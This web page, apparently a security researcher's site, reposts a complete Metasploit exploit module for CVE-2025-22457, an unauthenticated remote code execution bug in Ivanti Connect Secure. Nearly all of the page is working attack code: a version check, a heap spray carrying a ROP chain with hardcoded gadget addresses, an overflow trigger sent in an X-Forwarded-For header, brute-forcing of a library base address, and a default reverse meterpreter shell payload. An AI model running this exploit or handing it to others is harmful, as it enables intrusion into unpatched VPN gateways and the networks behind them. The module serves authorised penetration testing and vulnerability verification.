Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::Tcp
alias tcp_socket_connect connect

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

class IvantiError < StandardError; end
class IvantiNotFoundError < IvantiError; end
class IvantiUnexpectedResponseError < IvantiError; end
class IvantiUnknownError < IvantiError; end
class IvantiNetworkError < IvantiError; end

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Ivanti Connect Secure Unauthenticated Remote Code Execution via Stack-based Buffer Overflow',
'Description' => %q{
This module exploits a Stack-based Buffer Overflow vulnerability in
Ivanti Connect Secure to achieve remote code execution
(CVE-2025-22457). Versions 22.7R2.5 and earlier are vulnerable. Note
that Ivanti Pulse Connect Secure, Ivanti Policy Secure and ZTA gateways
are also vulnerable but this module doesn't support this software. Heap
spray is used to place our payload in memory at a predetermined
location. Due to ASLR, the base address of `libdsplibs` is unknown.
This library is used by the exploit to build a ROP chain and get
command execution. As a result, the module will brute force this
address starting from the address set by the `LIBDSPLIBS_ADDRESS`
option.
},
'License' => MSF_LICENSE,
'Author' => [
'Stephen Fewer', # Analysis and PoC
'Christophe De La Fuente', # Metasploit Module
],
'References' => [
['CVE', '2025-22457'],
['URL', 'https://forums.ivanti.com/s/article/April-Security-Advisory-Ivanti-Connect-Secure-Policy-Secure-ZTA-Gateways-CVE-2025-22457'],
['URL', 'https://attackerkb.com/topics/0ybGQIkHzR/cve-2025-22457/rapid7-analysis'],
['URL', 'https://github.com/sfewer-r7/CVE-2025-22457']
],
'DisclosureDate' => '2025-04-03',
'Platform' => 'linux',
'Arch' => [ARCH_CMD],
'Privileged' => false,
'Targets' => [
[
'Unix/Linux Command Shell', {
'Platform' => %w[unix linux],
'Arch' => [ARCH_CMD],
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
}
}
]
],
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SERVICE_RESTARTS],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options(
[
OptInt.new('MAX_THREADS', [true, 'Max threads to use when spraying', 32]),
OptInt.new('WEB_CHILDREN', [true, 'The number of /home/bin/web child processes', 4]),
OptInt.new('LIBDSPLIBS_ADDRESS', [true, 'Lowest possible base address of libdsplibs', 0xf6426000]),
OptInt.new('BRUTEFORCE_ATTEMPTS', [true, 'The number of attempts to brute force the base address of libdsplibs', 256]),
]
)
end

def validate_options
if datastore['MAX_THREADS'] < 1
fail_with(Failure::BadConfig, "MAX_THREADS should be at least 1 (current value: #{datastore['MAX_THREADS']})")
end

if datastore['WEB_CHILDREN'] < 1
fail_with(Failure::BadConfig, "WEB_CHILDREN should be at least 1 (current value: #{datastore['WEB_CHILDREN']})")
end
end

# https://github.com/BishopFox/CVE-2025-0282-check/blob/main/scan-cve-2025-0282.py#L6
def product_version
return @product_version if @product_version

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/dana-na/auth/url_admin/welcome.cgi'),
'vars_get' => {
'type' => 'inter'
}
})
raise IvantiUnknownError, '[product_version] No response from the server' if res.nil?
raise IvantiUnexpectedResponseError, "[product_version] Server responded with an unexpected HTTP status code: #{res.code}" unless res.code == 200

unless res.body.match(/name="productversion"\s+value="(\d+.\d+.\d+.\d+)"/i)
raise IvantiNotFoundError, '[product_version] Product version not found'
end

@product_version = Regexp.last_match(1)
end

def url_schema
ssl ? 'https' : 'http'
end

def check
print_status("Checking the product version for #{url_schema}://#{rhost}:#{rport}")

# This has been fixed in version 22.7R2.6, which corresponds to 22.7.2 (build 3981)
# see https://help.ivanti.com/ps/help/en_US/ICS/22.x/22.7R2/22.xICSRN.pdf
if Rex::Version.new(product_version) < Rex::Version.new('22.7.2.3981')
return CheckCode::Appears("Detected version: #{product_version}")
end

CheckCode::Safe("Detected version: #{product_version}")
rescue IvantiError => e
CheckCode::Unknown("Unknown version: #{e}")
end

def target_data
{
# 22.7r2.4 b3597 (libdsplibs.so sha1: f31a3cc442df5178b37ea539ff418fec9bf3404f)
'22.7.2.3597' => {
overflow_length: 622,
gadget_mov_esp_ebp_pop_ret: 0x0050c7e6, # mov esp, ebp; pop ebp; ret;
offset_to_got_plt: 0x0157c000,
gadget_pop_ebx_ret: 0x00033222, # pop ebx; ret;
gadget_call_system: 0x0087E31F # mov [esp], edi; call __ZN5DSSys18isInterfaceEnabledEPKc;
}
}
end

def send_http_data(data)
s = tcp_socket_connect(false, { 'SSLVerifyMode' => 'NONE' })
s.write(data)
s
rescue Errno::EMFILE, Errno::ECONNRESET, Errno::EPIPE => e
raise IvantiNetworkError, "[send_http_data] Error with the socket: #{e}"
end

def user_agent
return @user_agent if @user_agent

# list of valid versions from OpenConnect git repository (https://gitlab.com/openconnect/openconnect)
# command used to generate this list: `for tag in HEAD v9.12 v9.11 v9.10; do for i in $(seq 5); do git describe --tags ${tag}~${i}; done; done`
@user_agent = %w[
v9.12-199-g06afc42b
v9.12-198-gb82f00f7
v9.12-196-g32971c1b
v9.12-195-g9fe01919
v9.12-193-ge4cc8a65
v9.11-21-g3bc9d788
v9.11-20-g3f4f3415
v9.11-19-gf6d2c8d8
v9.11-18-g0b47190f
v9.11-17-g4ca0aa1b
v9.10-26-gd40f4370
v9.10-24-g5d1b0883
v9.10-22-gbaa80279
v9.10-21-g3fbba481
v9.10-17-g15b4c533
v9.01-189-g5aca5431
v9.01-188-gb6b85208
v9.01-187-g299d4444
v9.01-186-gab5f1639
v9.01-185-g77838371
].sample
end

def make_connections
print_status('Making connections...')

@lock = Mutex.new
threads = []

0.upto(datastore['MAX_THREADS']) do
threads << Rex::ThreadFactory.spawn('IvantiConnectSecureRCE', false) do
loop do
break unless @lock.synchronize do
@spray_socks.size < ((1024 - 256) * datastore['WEB_CHILDREN'])
end

body = "GET / HTTP/1.1\r\n"
body << "Host: #{rhost}:#{rport}\r\n"
body << "User-Agent: AnyConnect-compatible OpenConnect VPN Agent #{user_agent}\r\n"
body << "Content-Type: EAP\r\n"
body << "Upgrade: IF-T/TLS 1.0\r\n"
body << "Content-Length: 0\r\n"
body << "\r\n"

s = send_http_data(body)
res = s.read

fail_with(Failure::Unreachable, 'No response received from the target.') unless res.present?
fail_with(Failure::UnexpectedReply, 'Bad response from the target') unless res.include?('101 Switching Protocols')

@lock.synchronize do
@spray_socks << s
end
rescue IvantiNetworkError => e
fail_with(Failure::Unreachable, "Unable to make a connection. You might need to increase the file descriptor limit with `ulimit` (e.g. `ulimit -n 65535`): #{e}")
end
end
end

threads.each(&:join)
end

def spray(libdsplibs_base)
print_status('Spraying...')

padding = rand_text(128)

spray_pattern = [
# DWORD , # Address where the DWORD will be located after the heap spray
SecureRandom.rand(2**32), # 0x39393818:
SecureRandom.rand(2**32), # 0x3939381C:
SecureRandom.rand(2**32), # 0x39393820:
SecureRandom.rand(2**32), # 0x39393824:

libdsplibs_base + @target[:gadget_mov_esp_ebp_pop_ret], # 0x39393828: <--- initial eip control, stack pivot gadget.
0x39393828 - 0x10, # 0x3939382C:
SecureRandom.rand(2**32), # 0x39393830: <--- points here @ ebp (rop: pop ebp)
libdsplibs_base + @target[:gadget_pop_ebx_ret], # 0x39393834:

libdsplibs_base + @target[:offset_to_got_plt], # 0x39393838: <--- eax (rop pop ebx)
libdsplibs_base + @target[:gadget_call_system], # 0x3939383C:
SecureRandom.rand(2**32), # 0x39393840:
SecureRandom.rand(2**32), # 0x39393844:

SecureRandom.rand(2**32), # 0x39393848:
SecureRandom.rand(2**32), # 0x3939384C:
SecureRandom.rand(2**32), # 0x39393850:
SecureRandom.rand(2**32), # 0x39393854:

SecureRandom.rand(2**32), # 0x39393858:
0x3939382C, # 0x3939385C: <--- ctx->dword2C (0x39393830+0x2c)
SecureRandom.rand(2**32), # 0x39393860:
SecureRandom.rand(2**32), # 0x39393864:

0x39393918, # 0x39393868: <--- ptr to shell_cmd, referenced @ edi
SecureRandom.rand(2**32), # 0x3939386C:
SecureRandom.rand(2**32), # 0x39393870:
SecureRandom.rand(2**32), # 0x39393874:

SecureRandom.rand(2**32), # 0x39393878:
SecureRandom.rand(2**32), # 0x3939387C:
SecureRandom.rand(2**32), # 0x39393880:
SecureRandom.rand(2**32), # 0x39393884:

SecureRandom.rand(2**32), # 0x39393888:
SecureRandom.rand(2**32), # 0x3939388C:
SecureRandom.rand(2**32), # 0x39393890:
0x00000000 # 0x39393894: 0x39393830+0x64, this is ctx->max_headers and lets us bail out of the headers loop early.

# padding...
# 0x39393918: shell_cmd @ edi
].pack('V*') + padding + @shell_cmd

fail_with(Failure::BadConfig, 'spray_pattern should be 512 bytes') unless spray_pattern.length == 512

heap_buffer = spray_pattern * ((1024 * 1024 * 3) / spray_pattern.length)

ift_body = [
0x00005597, # VENDOR_TCG
0x00000001, # IFT_VERSION_REQUEST
heap_buffer.length + 16 + 1,
0 # seq id
].pack('NNNN') + heap_buffer

threads = []
spray_idx = 0

0.upto(datastore['MAX_THREADS']) do
threads << Rex::ThreadFactory.spawn('IvantiConnectSecureRCE', false) do
loop do
s = @lock.synchronize do
s = @spray_socks[spray_idx]
spray_idx += 1
s
end

break if s.nil?

s.write(ift_body)
rescue Errno::EMFILE, Errno::ECONNRESET, Errno::EPIPE => e
print_error("Error while writing the socket: #{e}")
print_error('This is likely because the `WEB_CHILDREN` option is too high and one of the'\
'web child crashed. This needs to match the number of vCPUs of the target, '\
'since the number of child process matched the number of vCPUs.')
end
end
end

threads.each(&:join)
end

def trigger
print_status('Triggering...')

# Build the buffer with only numerical values
buffer = rand_text_numeric(@target[:overflow_length])
buffer += rand_text_numeric(4 * 5) # add 5 more DWORD's
buffer += [0x39393830].pack('V') # [ebp+8] and it will now point to our spray pattern

fail_with(Failure::BadConfig, 'bad chars in buffer, only 0123456789. allowed') unless buffer.scan(/^[\d.]+$/).any?

body = "GET / HTTP/1.1\r\n"
body << "X-Forwarded-For: #{buffer}\r\n"
body << "\r\n"

1.upto(datastore['WEB_CHILDREN']) do |attempt|
print_status("Attempt ##{attempt}")
begin
send_http_data(body)
rescue IvantiNetworkError, StandardError => e
vprint_warning("Exception: #{e}")
end
end
end

def attempt_exploit(libdsplibs_base)
print_status("Trying libdsplibs.so @ 0x#{libdsplibs_base.to_s(16)}")

@spray_socks = []
make_connections

spray(libdsplibs_base)

trigger
ensure
@spray_socks.each do |s|
s.close unless s.closed?
end
end

def exploit
validate_options

@shell_cmd = "a;export LD_LIBRARY_PATH=/home/lib;#{payload.encoded} #"
@shell_cmd << "\x00"
@shell_cmd << 'B' while @shell_cmd.length < 256

unless @shell_cmd.length == 256
fail_with(Failure::BadConfig, "shell_cmd should be 256 bytes (current size: #{@shell_cmd.length}")
end
vprint_status("shell_cmd: #{@shell_cmd}")

print_status("Targeting #{url_schema}://#{rhost}:#{rport}")

@target = target_data[product_version.to_s]
fail_with(Failure::BadConfig, "No target for this version (#{product_version})") unless @target

print_status('Starting...')
libdsplibs_base = datastore['LIBDSPLIBS_ADDRESS']

_, elapsed_time = Rex::Stopwatch.elapsed_time do
# with 8 bits of entropy, we should guess correctly every ~256 attempts (2**8).
0.upto(datastore['BRUTEFORCE_ATTEMPTS'] - 1) do
_, attempt_elapsed_time = Rex::Stopwatch.elapsed_time do
attempt_exploit(libdsplibs_base)
end
vprint_status("Attempt elapsed time: #{attempt_elapsed_time} seconds")

# give the target a few seconds to respawn the web binary before we try again.
Rex.sleep(5)

break unless framework.sessions.empty?

# increment to the next aligned memory location
libdsplibs_base += 0x1000
end
end

vprint_status("Total elapsed time: #{elapsed_time} seconds")
end

end
Social Media Share